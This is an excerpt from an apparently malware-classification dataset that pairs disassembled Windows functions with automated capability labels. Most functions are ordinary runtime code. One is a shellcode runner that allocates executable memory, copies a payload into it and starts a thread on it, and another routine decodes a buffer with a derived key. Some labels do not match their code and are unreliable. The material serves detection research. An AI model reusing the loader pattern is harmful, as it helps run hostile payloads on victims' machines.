joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4111f4
Capabilities:
Create http request

Disassembly:
push 0x54
mov eax, 0x437683
call fcn.00414681
mov dword [ebp - 0x5c], ecx
xor eax, eax
push eax
push eax
push eax
push eax
push str.Yandex_downloader
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
jne 0x411234
push str.Failed_to_open_session_for_statistics_n
push dword [0x44e198]
call fcn.0040111c
pop ecx
xor eax, eax
pop ecx
inc eax
jmp 0x411385
push 0x411175
push edi
call dword [sym.imp.WININET.dll_InternetSetStatusCallbackA]
mov ebx, dword [sym.imp.WININET.dll_InternetSetOptionA]
lea eax, [ebp - 0x60]
push 4
pop esi
push esi
push eax
push 2
push edi
mov dword [ebp - 0x60], 0x7d0
call ebx
test eax, eax
je 0x411370
push esi
lea eax, [ebp - 0x60]
push eax
push 5
push edi
call ebx
test eax, eax
je 0x411370
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x40]
call fcn.0041138b
xor ebx, ebx
lea ecx, [ebp - 0x28]
mov edx, eax
mov dword [ebp - 4], ebx
call fcn.004113f9
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.00408a28
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x5c]
lea edx, [ebp - 0x28]
mov dword [ebp - 0x5c], ebx
cmovae edx, dword [ebp - 0x28]
mov ecx, edi
push eax
sub esp, 0x10
call fcn.0041118b
add esp, 0x14
mov edi, eax
cmp dword [ebp - 0x5c], ebx
je 0x4112e6
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x5c]
push str.An_attempt_to_open_statistics_url_generated_an_exception:__d_n
push dword [0x44e198]
call fcn.0040111c
add esp, 0xc
push 3
pop esi
jmp 0x411361
test edi, edi
jne 0x411348
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2ef1
jne 0x411348
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
mov eax, dword [ebp - 0x18]
cmovae ecx, dword [ebp - 0x28]
add eax, ecx
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x28]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x58]
call fcn.00410f59
cmp dword [eax + 0x14], 8
jb 0x411325
mov eax, dword [eax]
push eax
push str.Statistics_sent:__s_n
push dword [0x44e198]
call fcn.0040111c
add esp, 0xc
lea ecx, [ebp - 0x58]
push ebx
push 1
call fcn.00408587
mov esi, ebx
jmp 0x411361
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.Failed_to_send_statistics_n
push dword [0x44e198]
call fcn.0040111c
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.00408a28
mov eax, esi
jmp 0x411385
push str.Failed_to_set_internet_options_for_statistics_n
push dword [0x44e198]
call fcn.0040111c
pop ecx
pop ecx
push 2
pop eax
call fcn.0041462b
ret
Function at 0x41145a
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov esi, ecx
call fcn.004114f7
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x4114ed
push edi
push edi
push edi
push 2
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esi + 8], eax
test eax, eax
je 0x4114e6
push edi
push edi
push edi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edx, eax
mov dword [esi + 0xc], edx
test edx, edx
je 0x4114dd
push 6
pop ecx
mov dword [ebp - 0x1c], edi
xor eax, eax
lea edi, [ebp - 0x18]
rep stosd dword es:[edi], eax
push 0x1c
lea ecx, [ebp - 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4114dd
mov ecx, dword [ebp - 0x10]
mov al, 1
mov dword [esi + 0x10], ecx
jmp 0x4114ef
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.004114f7
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x41159b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push edi
mov edi, ecx
test eax, eax
jne 0x4115ac
xor al, al
jmp 0x411615
mov ecx, 0x5a4d
push esi
cmp word [eax], cx
jne 0x411612
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
jne 0x411612
mov edx, dword [ecx + eax + 0x98]
xor ecx, ecx
lea esi, [edx + eax]
test edx, edx
jne 0x4115d5
mov esi, ecx
test esi, esi
je 0x411612
lea eax, [esi + 8]
test eax, eax
je 0x411612
cmp byte [eax], 0x30
lea edx, [eax + 1]
jne 0x411604
mov al, byte [edx]
cmp al, 0x82
jne 0x411604
movzx ecx, byte [edx + 1]
movzx eax, byte [edx + 2]
shl ecx, 8
add ecx, 0x13
add ecx, eax
and ecx, 0xffffff8
test ecx, ecx
je 0x411612
mov dword [edi + 0x14], ecx
mov al, 1
mov dword [edi + 0x18], esi
jmp 0x411614
xor al, al
pop esi
pop edi
pop ebp
ret 4
Function at 0x411727
Capabilities:
Get file version info

Disassembly:
push 0xf4
mov eax, 0x4376ef
call fcn.00414681
mov esi, ecx
mov dword [ebp - 0xf4], esi
xor edi, edi
mov dword [ebp - 0xf8], edi
mov dword [ebp - 4], edi
lea ecx, [ebp - 0xfc]
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov ebx, eax
test ebx, ebx
jne 0x411780
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x444a3c
mov ecx, esi
call fcn.004063ec
push edi
jmp 0x41186e
push ebx
call fcn.004141b5
mov edi, eax
pop ecx
test edi, edi
jne 0x41179e
push 0x444a3c
mov ecx, esi
call fcn.004063ec
jmp 0x41186c
xor ecx, ecx
mov dword [ebp - 0xdc], 7
xor eax, eax
mov dword [ebp - 0xe0], ecx
mov word [ebp - 0xf0], ax
mov byte [ebp - 4], 1
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 8
push edi
cmovae eax, dword [ebp + 8]
push ebx
push ecx
push eax
mov dword [ebp - 0xf4], ecx
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x411848
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0xf4]
push eax
push 0x445ae8
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
mov ecx, dword [ebp - 0xf4]
test ecx, ecx
je 0x411848
movzx eax, word [ecx + 0xc]
push eax
movzx eax, word [ecx + 0xe]
push eax
movzx eax, word [ecx + 8]
push eax
movzx eax, word [ecx + 0xa]
push eax
lea eax, [ebp - 0xd8]
push 0x4464f8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0xd8]
push eax
call fcn.00401366
add esp, 0x1c
lea ecx, [ebp - 0xf0]
push eax
lea eax, [ebp - 0xd8]
push eax
call fcn.00408820
push edi
call fcn.00413cc6
pop ecx
lea eax, [ebp - 0xf0]
mov ecx, esi
push eax
call fcn.004063c7
push 0
push 1
lea ecx, [ebp - 0xf0]
call fcn.00408587
push 0
push 1
lea ecx, [ebp + 8]
call fcn.00408587
mov eax, esi
call fcn.0041462b
ret
Function at 0x4297da
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00429659
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x4ff058], 1
mov dword [0x4ff054], 1
mov dword [0x4ff050], 1
mov dword [0x4ff048], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x4ff00c], eax
mov eax, dword [0x4ff064]
test eax, eax
jne 0x4010b0
mov dword [esp], 1
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x4ff078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x4ff060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x4b4060], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 2
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060

Function at 0x4016a7
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov byte [ebp - 0x18], al
movzx eax, byte [ebp - 0x18]
xor eax, 0xffffffa5
mov byte [ebp - 9], al
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0xc]
jae 0x401740
movzx eax, byte [ebp - 9]
mov edx, dword [ebp - 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.generate_dynamic_key_unsigned_char__unsigned_int_
mov byte [ebp - 0xa], al
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
add eax, edx
movzx ebx, byte [eax]
mov ecx, dword [ebp - 8]
mov edx, 0x24924925
mov eax, ecx
mul edx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
mov edx, eax
mov eax, edx
shl eax, 3
sub eax, edx
sub ecx, eax
mov edx, ecx
mov eax, ebx
sub eax, edx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
add edx, ecx
xor al, byte [ebp - 0xa]
mov byte [edx], al
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
add eax, edx
movzx edx, byte [eax]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 8]
add eax, ecx
not edx
mov byte [eax], dl
add dword [ebp - 8], 1
jmp 0x4016c5
nop
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x401889
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4018d9
mov dword [esp + 4], str._ERRORE__Impossibile_allocare_memoria_n
mov dword [esp], 0x4b5760
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x4019e7
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov edx, dword [ebp + 0xc]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40198b
mov dword [esp + 4], str._ERRORE__Impossibile_creare_il_thread_n
mov dword [esp], 0x4b5760
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
jmp 0x4019e7
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [esp + 4], str._INFO__Payload_eseguito_con_successo._n
mov dword [esp], 0x4b58a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
leave
ret
Function at 0x40d7c0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x40d820
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x4ff06c]
test esi, esi
jle 0x40d940
mov eax, dword [0x4ff070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x40d854
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x40d8d7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x40d840
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x40d967
mov eax, dword [0x4ff070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x4ff070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40d947
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x40d8d0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x40d8e0
add dword [0x4ff06c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x4ff070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40d8d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40d85e
mov eax, dword [0x4ff070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop
Function at 0x40de20
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4ff088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4ff080]
sub esp, 4
test ebx, ebx
je 0x40de75
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40de6e
test esi, esi
je 0x40de6e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40de50
mov dword [esp], 0x4ff088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40e740
Capabilities:
Allocate thread local storage

Disassembly:
push esi
push ebx
sub esp, 4
mov esi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x40e770
mov dword [esi], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
add esp, 4
pop ebx
pop esi
jmp dbg.__mingwthr_key_dtor
add esp, 4
pop ebx
pop esi
jmp dword [sym.imp.KERNEL32.dll_GetLastError]

Function at 0x40e7b0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40e7f0
Capabilities:
Set thread local storage value

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x40e818
xor eax, eax
add esp, 0x1c
ret
add esp, 0x1c
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x41da40
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x4ba8e0
mov esi, dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 4
mov dword [esp + 4], str.rand_s
mov dword [esp], eax
call ebx
sub esp, 8
test eax, eax
je 0x41da88
mov dword [esp + 0x20], esi
mov dword [dbg.init_rand_s], eax
add esp, 0x14
pop ebx
pop esi
jmp eax
mov dword [esp], str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
sub esp, 4
mov dword [esp + 4], str.SystemFunction036
mov dword [esp], eax
call ebx
mov dword [0x4ffa90], eax
sub esp, 8
mov eax, dbg.mingw_rand_s
jmp 0x41da73

Function at 0x420070
Capabilities:
Read file on windows

Disassembly:
push esi
push ebx
mov ebx, ecx
sub esp, 0x14
mov eax, dword [ecx + 0x20]
mov esi, dword [esp + 0x20]
mov dword [esp + 4], 1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x24]
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._fread
mov edx, 0xffffffff
test eax, eax
jle 0x4200a8
movzx edx, byte [esi + eax - 1]
mov dword [ebx + 0x24], edx
add esp, 0x14
pop ebx
pop esi
ret 8

Function at 0x4200c0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
mov eax, dword [ecx + 0x20]
mov dword [esp + 4], 1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._fwrite
add esp, 0x1c
ret 8

Function at 0x420c20
Capabilities:
Write file on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
cmp byte [0x4b5bdc], 0
jne 0x420d46
mov byte [0x4b5bdc], 1
call sym.___cxa_current_exception_type
test eax, eax
je 0x420d14
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
sete al
mov dword [esp + 4], 0
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call sym.___cxa_demangle
mov dword [esp], 2
mov esi, dword [dbg.__acrt_iob_func]
mov edi, eax
call esi
mov dword [esp + 8], 0x30
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
call sym._fwrite
mov edx, dword [esp + 0x1c]
mov dword [esp], 2
test edx, edx
je 0x420d04
call esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._fputs
mov dword [esp], 2
call esi
mov dword [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x4b61dd
call sym._fwrite
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x4ab818
jmp 0x4ab810
call esi
mov dword [esp], edi
mov dword [esp + 4], eax
call sym._fputs
jmp 0x420cca
mov dword [esp], 2
call dword [0x4b4080]
mov dword [esp + 8], 0x2d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
call sym._fwrite
jmp 0x4ab80b
mov dword [esp], 2
call dword [0x4b4080]
mov dword [esp + 8], 0x1d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
call sym._fwrite
call sym._abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x42fdb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5c
lea eax, [esp + 0x4c]
mov ebx, dword [esp + 0x70]
mov edx, dword [esp + 0x74]
mov dword [esp + 0x1c], 4
mov edi, dword [esp + 0x78]
mov ebp, dword [esp + 0x7c]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x80]
mov dword [esp], ebx
mov dword [esp + 0x18], 0x270f
mov dword [esp + 0x20], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], eax
mov dword [esp + 8], edi
mov dword [esp + 0xc], ebp
mov dword [esp + 4], edx
mov dword [esp + 0x4c], 0
call sym.__ZNKSt7__cxx118time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE14_M_extract_numES4_S4_RiiijRSt8ios_baseRSt12_Ios_Iosta
sub esp, 0x28
mov ebx, eax
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x4c]
test eax, eax
jne 0x42fe90
mov ecx, dword [esp + 0x48]
lea esi, [ecx + 0x64]
lea eax, [ecx - 0x76c]
test ecx, ecx
mov ecx, dword [esp + 0x88]
cmovs eax, esi
mov dword [ecx + 0x14], eax
cmp edx, 0xffffffff
sete al
test ebx, ebx
mov esi, eax
setne al
mov ecx, esi
and cl, al
mov byte [esp + 0x38], cl
jne 0x42fec8
cmp ebp, 0xffffffff
sete al
test edi, edi
je 0x42fe68
test al, al
jne 0x42fea0
mov ebx, esi
cmp bl, al
jne 0x42fe78
mov eax, dword [esp + 0x84]
or dword [eax], 2
mov eax, dword [esp + 0x34]
add esp, 0x5c
pop ebx
pop esi
pop edi
pop ebp
ret 0x1c
mov eax, dword [esp + 0x84]
or dword [eax], 4
jmp 0x42fe43
mov ebx, dword [edi + 0xc]
xor eax, eax
cmp dword [edi + 8], ebx
jb 0x42fe68
mov eax, dword [edi]
mov dword [esp + 0x38], edx
mov ecx, edi
call dword [eax + 0x24]
mov edx, dword [esp + 0x38]
cmp eax, 0xffffffff
sete al
jmp 0x42fe68
mov eax, dword [ebx + 0xc]
xor esi, esi
cmp dword [ebx + 8], eax
jb 0x42fe5a
mov eax, dword [ebx]
mov dword [esp + 0x3c], edx
mov ecx, ebx
call dword [eax + 0x24]
mov edx, dword [esp + 0x3c]
cmp eax, 0xffffffff
movzx eax, byte [esp + 0x38]
cmove esi, eax
mov eax, 0
cmovne eax, ebx
mov dword [esp + 0x34], eax
jmp 0x42fe5a
Function at 0x4301f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, ecx
push edi
push esi
push ebx
sub esp, 0x8c
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xa0]
mov ebx, dword [esp + 0xa4]
mov edi, dword [esp + 0xa8]
add eax, 0x6c
mov dword [esp + 0x34], ecx
mov esi, dword [esp + 0xac]
mov dword [esp], eax
call method.std::__timepunct_char__const_std::use_facet_std.__timepunct_char____std::locale_const_
mov dword [esp + 0x44], 0
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x48]
mov dword [esp + 0x48], edx
mov edx, dword [eax + 0x4c]
mov dword [esp + 0x4c], edx
mov edx, dword [eax + 0x50]
mov dword [esp + 0x50], edx
mov edx, dword [eax + 0x54]
mov dword [esp + 0x54], edx
mov edx, dword [eax + 0x58]
mov dword [esp + 0x58], edx
mov edx, dword [eax + 0x5c]
mov dword [esp + 0x5c], edx
mov edx, dword [eax + 0x60]
mov dword [esp + 0x60], edx
mov edx, dword [eax + 0x2c]
mov dword [esp + 0x64], edx
mov edx, dword [eax + 0x30]
mov dword [esp + 0x68], edx
mov edx, dword [eax + 0x34]
mov dword [esp + 0x6c], edx
mov edx, dword [eax + 0x38]
mov dword [esp + 0x70], edx
mov edx, dword [eax + 0x3c]
mov dword [esp + 0x74], edx
mov edx, dword [eax + 0x40]
mov eax, dword [eax + 0x44]
mov dword [esp + 0x78], edx
mov dword [esp + 0x7c], eax
lea eax, [esp + 0x44]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0xb0]
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x34]
lea eax, [esp + 0x48]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x40]
mov dword [esp], ecx
mov ecx, ebp
mov dword [esp + 4], ebx
mov dword [esp + 0x18], 7
mov dword [esp + 0x10], eax
mov dword [esp + 8], edi
mov dword [esp + 0xc], esi
call sym.__ZNKSt7__cxx118time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE24_M_extract_wday_or_monthES4_S4_RiPPKcjRSt8ios_baseRSt
sub esp, 0x24
mov ecx, eax
mov ebp, eax
mov ebx, edx
mov eax, dword [esp + 0x44]
test eax, eax
jne 0x430340
mov eax, dword [esp + 0xb8]
mov edx, dword [esp + 0x40]
mov dword [eax + 0x18], edx
cmp ebx, 0xffffffff
sete dl
test ecx, ecx
setne al
and al, dl
mov byte [esp + 0x34], al
jne 0x430378
cmp esi, 0xffffffff
sete al
test edi, edi
je 0x430320
test al, al
jne 0x430350
cmp dl, al
jne 0x43032e
mov eax, dword [esp + 0xb4]
or dword [eax], 2
add esp, 0x8c
mov eax, ebp
mov edx, ebx
pop ebx
pop esi
pop edi
pop ebp
ret 0x1c
mov eax, dword [esp + 0xb4]
or dword [eax], 4
jmp 0x4302ff
mov esi, dword [edi + 0xc]
xor eax, eax
cmp dword [edi + 8], esi
jb 0x430320
mov eax, dword [edi]
mov byte [esp + 0x34], dl
mov ecx, edi
call dword [eax + 0x24]
movzx edx, byte [esp + 0x34]
cmp eax, 0xffffffff
sete al
jmp 0x430320
mov eax, dword [ecx + 0xc]
xor edx, edx
cmp dword [ecx + 8], eax
jb 0x430312
mov eax, dword [ecx]
mov byte [esp + 0x3f], dl
mov ebp, 0
mov dword [esp + 0x38], ecx
call dword [eax + 0x24]
movzx edx, byte [esp + 0x3f]
mov ecx, dword [esp + 0x38]
cmp eax, 0xffffffff
movzx eax, byte [esp + 0x34]
cmovne ebp, ecx
cmove edx, eax
jmp 0x430312